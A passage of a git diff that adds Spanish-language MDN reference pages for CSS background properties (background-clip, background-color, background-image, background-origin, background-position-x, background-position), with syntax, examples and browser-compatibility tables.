+<p><span id="result_box" lang="es"><span class="hps">La propiedad</span></span> CSS <code>background-clip</code> <span id="result_box" lang="es"><span class="hps">especifica si</span> <span class="hps">el fondo</span> <span class="hps">de</span> <span class="hps">un elemento,</span> <span class="hps">ya sea</span> <span class="hps">el color</span> <span class="hps">o imagen</span><span>,</span> <span class="hps">se extiende por debajo</span> <span class="alt-edited hps">su borde</span><span>.</span></span></p>
+
+<p>Si la imagen o color de fondo no esta definido, esta propiedad solo tendrá un efecto visual cuando el borde tenga regiones transparentes o regiones parcialmente opacas (debido a {{ Cssxref("border-style") }} o {{ Cssxref("border-image") }}); <span class="short_text" id="result_box" lang="es"><span class="hps">de lo contrario</span> <span class="alt-edited hps">el borde</span> <span class="hps">cubre</span> <span class="hps">la diferencia</span></span>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="/en-US/docs/CSS/Value_definition_syntax">Sintaxis Formal</a>: {{csssyntax("background-clip")}}</pre>
+
+<pre>background-clip: border-box
+background-clip: padding-box
+background-clip: content-box
+
+background-clip: inherit
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">fondo</span> <span class="hps">se extiende hasta el</span> <span class="hps">borde exterior de</span> <span class="alt-edited hps">el contenedor</span> <span class="atn hps">(</span><span>pero por debajo de</span> <span class="hps">la frontera, en</span> <span class="hps">orden z</span><span>)</span></span>.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>El fondo no se muestra a través del borde (<span id="result_box" lang="es"><span class="alt-edited hps">el fondo</span> <span class="hps">se extiende</span> <span class="hps">hasta el borde exterior</span> <span class="hps">del</span></span> padding).</dd>
+ <dt><code>content-box</code></dt>
+ <dd>El fondo se dibuja desde donde inicia el contenido.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;p class="border-box"&gt;The yellow background extends behind the border.&lt;/p&gt;
+&lt;p class="padding-box"&gt;The yellow background extends to the inside edge of the border.&lt;/p&gt;
+&lt;p class="content-box"&gt;The yellow background extends only to the edge of the content box.&lt;/p&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">p {
+   border: 5px navy;
+   border-style: dotted double;
+   margin: 2em;
+   padding: 2em;
+   background: #F8D575;
+}
+.border-box { background-clip: border-box; }
+.padding-box { background-clip: padding-box; }
+.content-box { background-clip: content-box; }
+</pre>
+
+<h4 id="Salida">Salida</h4>
+
+<p>{{ EmbedLiveSample('Ejemplo', 540, 450) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><font><font>Compatibilidad del navegador</font></font></h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>1.0 [3]</td>
+   <td>{{ CompatGeckoDesktop("2.0") }} [1]</td>
+   <td>9.0 [2]</td>
+   <td>10.5</td>
+   <td>3.0 (522) [3]</td>
+  </tr>
+  <tr>
+   <td><code>content-box</code></td>
+   <td>1.0 [3]</td>
+   <td>{{ CompatGeckoDesktop("2.0") }} [1]</td>
+   <td>9.0 [2]</td>
+   <td>12.0 (maybe earlier)</td>
+   <td>3.0 (522) [3]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.1</td>
+   <td>{{ CompatGeckoMobile("14") }}</td>
+   <td>7.1</td>
+   <td>12.1</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>content-box</code></td>
+   <td>4.1</td>
+   <td>{{ CompatGeckoMobile("14") }}</td>
+   <td>7.1</td>
+   <td>12.1</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko soportado, desde la version 1.1 a la version 1.9.2, <span class="short_text" id="result_box" lang="es"><span class="hps">que se corresponde con</span> <span class="hps">Firefox</span></span> 1.0 a 3.6 incluido, con una diferente sintaxis con prefijo: <code>-moz-background-clip: padding | border</code>.</p>
+
+<p>[2] Internet Explorer 7 soportado, <span id="result_box" lang="es"><span class="hps">pero</span> <span class="hps">en otras versiones de</span> <span class="hps">Internet Explorer</span> <span class="hps">se comporta como</span></span> <code>background-clip:padding</code> si <code>overflow es: hidden | auto | scroll</code>.</p>
+
+<p>[3]<span id="result_box" lang="es"><span class="hps">Webkit</span> <span class="hps">también es compatible con</span> <span class="hps">prefijo</span> en esta<span class="hps"> propiedad,</span> <span class="hps">y en ese caso</span><span>,</span> <span class="hps">además de las</span> <span class="hps">palabras clave</span> <span class="hps">actuales</span><span>,</span> <span class="hps">los</span> <span class="hps">sinónimos</span> <span class="hps">alternativas</span> <span class="hps">son</span></span>: <code>padding</code>, <code>border</code>, and <code>content</code>.</p>
+
+<p>[4] Konqueror 3.5.4 tiene soporte con<code> -khtml-background-clip</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ cssxref("clip") }}</li>
+ <li><a href="/en-US/docs/Web/CSS/box_model">Modelo de caja CSS</a></li>
+</ul>
diff --git a/files/es/web/css/background-color/index.html b/files/es/web/css/background-color/index.html
new file mode 100644
index 0000000000..4f3a1fb78f
--- /dev/null
+++ b/files/es/web/css/background-color/index.html
@@ -0,0 +1,141 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/background-color
+---
+<p> </p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><code>Background-color</code> es un propiedad de CSS que define el color de fondo de un elemento, puede ser el valor de un color o la palabra "<code>transparent</code>e".</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: transparente</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Percentages: N/A</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: como se haya especificado</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">background-color: <em>color</em> | transparent | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>Se puede especificar el color de fondo como un valor RGB hexa-decimal o regular, o utilizando una de las palabras claves predefinidas de color.</dd>
+</dl>
+
+<dl>
+ <dt>transparent </dt>
+ <dd>El valor por defecto del color de fondo (<code>background-color</code>) es <code>transparent</code>e tomando así el color del elemento que está justo debajo de él en el apilamiento.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exampleone"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exampletwo"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="examplethree"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[2,7,12,17];">.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153,102,153);
+  color: rgb(255,255,204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Ejemplos","200","150")}}</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p><span class="comment">(Add links to good colour reference sites here.)</span></p>
+
+<p> </p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-color">CSS 1 (en)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-color">CSS 2.1 (en)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-color">CSS 3 (en)</a></li>
+</ul>
+
+<h3 id="Compatibilidad_de_navegadores" name="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h3>
+
+<p><span class="comment">TBD: This may be removed in favour of a centralized compatibility chart.</span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>soporta background-color</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer 6</td>
+   <td>parcialmente</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 7</td>
+   <td>parcialmente</td>
+  </tr>
+  <tr>
+   <td>Firefox 1.5</td>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <td>Firefox 2</td>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <td>Opera 8.5</td>
+   <td>parcialmente</td>
+  </tr>
+  <tr>
+   <td>Opera 9</td>
+   <td>parcialmente</td>
+  </tr>
+  <tr>
+   <td>Konqueror 3.5</td>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <td>Safari 2</td>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
diff --git a/files/es/web/css/background-image/index.html b/files/es/web/css/background-image/index.html
new file mode 100644
index 0000000000..b2ab46dd70
--- /dev/null
+++ b/files/es/web/css/background-image/index.html
@@ -0,0 +1,135 @@
+---
+title: background-image
+slug: Web/CSS/background-image
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/background-image
+---
+<p>{{ PreviousNext("CSS:background-color", "CSS:background-position") }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>background-image</code></strong> establece una o más imágenes de fondo para un elemento.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: ninguno</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Cssxref("visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculada") }}: URI absoluta o ninguna</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">background-image: <em>url</em> | none | inherit
+</pre>
+
+<h2 id="Valores" name="Valores">Valores</h2>
+
+<dl>
+ <dt>url </dt>
+ <dd>Localización de la imagen que se utilizará de fondo.</dd>
+ <dt>none </dt>
+ <dd>Utilizado para especificar que un elemento no debe tener ninguna imagen de fondo.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Note that the star image is partially transparent and is layered over the cat image.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+    &lt;p class="catsandstars"&gt;
+        This paragraph is full of cats&lt;br /&gt;and stars.
+    &lt;/p&gt;
+    &lt;p&gt;This paragraph is not.&lt;/p&gt;
+    &lt;p class="catsandstars"&gt;
+        Here are more cats for you.&lt;br /&gt;Look at them!
+    &lt;/p&gt;
+    &lt;p&gt;And no more.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">pre, p {
+    font-size: 1.5em;
+    color: #FE7F88;
+    background-color: transparent;
+}
+
+div {
+  background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+p {
+  background-image: none;
+}
+
+.catsandstars {
+  background-image:  url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+                     url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Ejemplos')}}</p>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>Los desarrolladores deben asegurarse que han especificado un color de fondo ({{ Cssxref("background-color") }}) en el caso de no usar una imagen. Las imágenes de fondo son mostradas encima del color de fondo.</p>
+
+<h2 id="Especificaciones" name="Especificaciones">Sobre Accesibilidad</h2>
+
+<p>Los lectores de pantalla no reconocen las imágenes de fondo, si la imagen tiene un significado y no es de carácter meramente decorativa deberás incluirla semánticamente en el documento utilizando la etiqueta <code>img</code>.</p>
+
+<p>Para más información (en inglés):</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-image">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-image">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background-image">CSS 3</a></li>
+</ul>
+
+<h2 id="Compatibilidad_de_navegador" name="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+
+<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
diff --git a/files/es/web/css/background-origin/index.html b/files/es/web/css/background-origin/index.html
new file mode 100644
index 0000000000..e7e8a94c63
--- /dev/null
+++ b/files/es/web/css/background-origin/index.html
@@ -0,0 +1,88 @@
+---
+title: background-origin
+slug: Web/CSS/background-origin
+tags:
+  - CSS
+  - CSS Referência
+translation_of: Web/CSS/background-origin
+---
+<h2 id="Resumen">Resumen</h2>
+<p>La propiedad background-origin especifica el área de origen de un fondo o imagen en determinada caja. para que la propiedad <a href="/es/CSS/background-position" title="background-position">background-position</a> calcule la posición de inicio de un fondo o imagen definida por la propiedad <a href="/es/CSS/background-image" title="background-image">background-image</a>.</p>
+<ul>
+ <li>Valor inicial: padding-box</li>
+ <li>Aplica a: Todos los elementos</li>
+ <li>Heredado: No</li>
+ <li>Porcentajes: n/a</li>
+ <li>Media: Visual</li>
+ <li>Valor computado: Mismo que valor especificado.</li>
+ <li>Animación: No</li>
+</ul>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre class="eval">background-origin:[<code>padding-box | border-box | conten</code><code>t-box</code>][, [<code>border-box | padding-box | conten</code><code>t-box</code>]]*
+</pre>
+<h2 id="Valores">Valores</h2>
+<dl>
+ <dt>
+  border-box</dt>
+ <dd>
+  <p>El fondo se extiende al borde exterior (por debajo del borde en el orden z), la posición es relativa al borde de la caja.</p>
+ </dd>
+ <dt>
+  padding-box</dt>
+ <dd>
+  <p>El fondo se extiende al borde exterior del padding, la posición es relativa al padding de la caja.</p>
+ </dd>
+ <dt>
+  content-box</dt>
+ <dd>
+  <p>El fondo se extiende dentro del (recortado al) contenido de la caja, la posición es relativa al contenido de la caja.</p>
+ </dd>
+</dl>
+<h2 id="Ejemplos">Ejemplos</h2>
+<pre>div{
+  border:4px dotted #FBE700;
+  background:url('imagen.jpg');
+  background-position:0 0;
+  background-origin:border-box;
+}
+</pre>
+<pre>div{
+  background-image: url('image1.jpg'), url('image2.jpg');
+  background-position: 0 0, bottom left;
+  background-origin: padding-box, content-box;
+}
+</pre>
+<h2 id="Notas">Notas</h2>
+<ul>
+ <li>La propiedad background-origin es ignorada si la propiedad background-attachment tiene un valor de fixed.</li>
+ <li>Si el valor de esta propiedad no es establecido en la propiedad abreviada (shorthand) <a href="/es/CSS/background" title="background">background</a> que es aplicada a el elemento despues de la propiedad background-origin, el valor de esta propiedad sera restablecido a su valor inicial por la propiedad abreviada background.</li>
+</ul>
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>1.0</td>
+    <td>4.0 (2.0)</td>
+    <td>9.0</td>
+    <td>10.5</td>
+    <td>3.0 (522)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Especificaciones">Especificaciones</h2>
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/css3-background/#the-background-origin" title="http://dev.w3.org/csswg/css3-background/#the-background-origin">Css fondos y bordes modulo nivel 3 </a> (candidato a recomendación]</li>
+</ul>
+<h2 id="Relacionado">Relacionado</h2>
+<p><a href="/es/CSS/background" title="es/CSS/background">background</a>, <a href="/es/CSS/background-attachment" title="es/CSS/background-attachment">background-attachment</a><a href="/es/CSS/background-image" title="es/CSS/background-image">, background-image</a>,<a href="/es/CSS/background-repeat" title="es/CSS/background-repeat"> background-repeat</a></p>
diff --git a/files/es/web/css/background-position-x/index.html b/files/es/web/css/background-position-x/index.html
new file mode 100644
index 0000000000..cb85bcd824
--- /dev/null
+++ b/files/es/web/css/background-position-x/index.html
@@ -0,0 +1,128 @@
+---
+title: background-position-x
+slug: Web/CSS/background-position-x
+translation_of: Web/CSS/background-position-x
+---
+<div>{{CSSRef}}</div>
+
+<p>El <strong><code>background-position-x</code></strong> propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  coloca la posicion horizontal inicial por cada imagen de fondo. La posicion es relativa a la posicion de la capa puesta por {{cssxref("background-origin")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-position-x.html")}}</div>
+
+<p class="hidden">El recurso para este ejemplo interactivo es almacenado en un repositorio GitHub. Si te gustaría contrubuir al proyecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envianos una solicitud.</p>
+
+<p>The value of this property is overridden by any declaration of the {{cssxref("background")}} or {{cssxref("background-position")}} shorthand properties applied to the element after it.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Keyword values */
+background-position-x: left;
+background-position-x: center;
+background-position-x: right;
+
+/* &lt;percentage&gt; values */
+background-position-x: 25%;
+
+/* &lt;length&gt; values */
+background-position-x: 0px;
+background-position-x: 1cm;
+background-position-x: 8em;
+
+/* Side-relative values */
+background-position-x: right 3px;
+background-position-x: left 25%;
+
+/* Multiple values */
+background-position-x: 0px, center;
+
+/* Global values */
+background-position-x: inherit;
+background-position-x: initial;
+background-position-x: unset;
+</pre>
+
+<p>The <code>background-position-x</code> property is specified as one or more values, separated by commas.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>Aligns the left edge of the background image with the left edge of the background position layer.</dd>
+ <dt><code>center</code></dt>
+ <dd>Aligns the center of the background image with the center of the background position layer.</dd>
+ <dt><code>right</code></dt>
+ <dd>Aligns the right edge of the background image with the right edge of the background position layer.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>The offset of the given background image's left vertical edge from the background position layer's left vertical edge. (Some browsers allow assigning the right edge for offset).</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>The offset of the given background image's horizontal position relative to the container. A value of 0% means that the left edge of the background image is aligned with the left edge of the container, and a value of 100% means that the <em>right</em> edge of the background image is aligned with the <em>right</em> edge of the container, thus a value of 50% horizontally centers the background image.</dd>
+</dl>
+
+<h2 id="Formal_definition">Formal definition</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Formal_syntax">Formal syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<p>The following example shows a simple background image implementation, with background-position-x and background-position-y used to define the image's horizontal and vertical positions separately.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 300px;
+  height: 300px;
+  background-color: skyblue;
+  background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png);
+  background-repeat: no-repeat;
+  background-position-x: center;
+  background-position-y: bottom 10px;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('Basic_example', '100%', 300)}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Backgrounds', '#background-position-longhands', 'background-position-x')}}</td>
+   <td>{{Spec2('CSS4 Backgrounds')}}</td>
+   <td>Initial specification of longhand sub-properties of {{cssxref("background-position")}} to match longstanding implementations.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-position-x")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-position-inline")}}</li>
+ <li>{{cssxref("background-position-block")}}</li>
+ <li><a href="/en-US/docs/CSS/Multiple_backgrounds" title="CSS/Multiple backgrounds">Using multiple backgrounds</a></li>
+</ul>
diff --git a/files/es/web/css/background-position/index.html b/files/es/web/css/background-position/index.html
new file mode 100644
index 0000000000..66a74be4b3
--- /dev/null
+++ b/files/es/web/css/background-position/index.html
@@ -0,0 +1,132 @@
+---
+title: background-position
+slug: Web/CSS/background-position
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/background-position
+---
+<p>{{ PreviousNext("CSS:background-image", "CSS:background-repeat") }}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p><code>background-position</code> define la posición inicial de la imagen de fondo especificada.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: 0% 0%</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Porcentajes: se refiere al tamaño de la caja misma</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculada") }}: para &lt;length&gt; el valor absoluto, para otros un porcentaje.</li>
+</ul>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">background-position: [ &lt;percentage&gt; | &lt;length&gt; | left | center | right  ]
+                     [ &lt;percentage&gt; | &lt;length&gt; | top  | center | bottom ] ? ;
+</pre>
+
+<pre class="eval">background-position: [ top | center | bottom ];
+</pre>
+
+<pre class="eval">background-position: inherit;
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>{{ Cssxref("porcentaje") }} &lt;percentage&gt;</dt>
+ <dd>Con el par de valores '0% 0%', la esquina izquierda de la imagen es alineada con la esquina izquierda del borde del espaciado de la caja. Un valor '100% 100%' pone la esquina inferior de la imagen en la esquina inferior del área de espaciado. Con un valor '14% 84%', el punto a 14% a la derecha y 84% abajo de la imagen es colocado en el punto al 14% derecha y 84% abajo del área de espaciado.</dd>
+ <dt>{{ Cssxref("length") }} &lt;length&gt;</dt>
+ <dd>con un valor '2cm 1cm', la esquina superior izquierda de la imagen es colocada a 2 cm a la derecha y a 1cm debajo de la esquina superior izquierda del área de espaciado.</dd>
+ <dt>top left y left top</dt>
+ <dd>Es igual a '0% 0%'.</dd>
+ <dt>top, top center y center top</dt>
+ <dd>Es igual a '50% 0%'.</dd>
+ <dt>right top y top right</dt>
+ <dd>Es igual a '100% 0%'.</dd>
+ <dt>left, left center y center left</dt>
+ <dd>Es igual a '0% 50%'.</dd>
+ <dt>center and center center</dt>
+ <dd>Es igual a '50% 50%'.</dd>
+ <dt>right, right center y center right</dt>
+ <dd>Es igual a '100% 50%'.</dd>
+ <dt>bottom left y left bottom</dt>
+ <dd>Es igual a '0% 100%'.</dd>
+ <dt>bottom, bottom center y center bottom</dt>
+ <dd>Es igual a '50% 100%'.</dd>
+ <dt>bottom right y right bottom</dt>
+ <dd>Es igual a '100% 100%'.</dd>
+</dl>
+
+<p>Si solo se especifica un valor, se entenderá que es la posición horizontal con la vertical al 50%. De otra manera el primer valor especifica la posición horizontal. Se admiten valores negativos y combinaciones de palabras claves, largos (<small>lenght</small>) o porcentajes, pero en el caso de mezclar las palabras claves con otros valores, '<strong>left' y 'right'</strong> solo se utilizarán como primer valor y '<strong>top' y 'bottom'</strong> como segundo.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<pre>.exampleone {
+	background-image: url("logo.png");
+	background-position: top center;
+}
+
+.exampletwo {
+	background-image: url("logo.png");
+	background-position: 25% 75%;
+}
+
+.examplethree {
+	background-image: url("logo.png");
+	background-position: 2cm bottom;
+}
+
+.examplefour {
+	background-image: url("logo.png");
+	background-position: center 10%;
+}
+
+.examplefive {
+	background-image: url("logo.png");
+	background-position: 2cm 50%;
+}
+
+</pre>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-position">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-position">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-position">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilidad" name="Compatibilidad">Compatibilidad</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
diff --git a/files/es/web/css/background-repeat/index.html b/files/es/web/css/background-repeat/index.html
new file mode 100644
index 0000000000..660f22df27
--- /dev/null
+++ b/files/es/web/css/background-repeat/index.html
@@ -0,0 +1,250 @@
+---
+title: background-repeat
+slug: Web/CSS/background-repeat
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Fondos CSS
+  - Propiedades de CSS
+  - Referências
+  - Todas_las_Categorías
+translation_of: Web/CSS/background-repeat
+---
+<div>{{CSSRef}}</div>
+
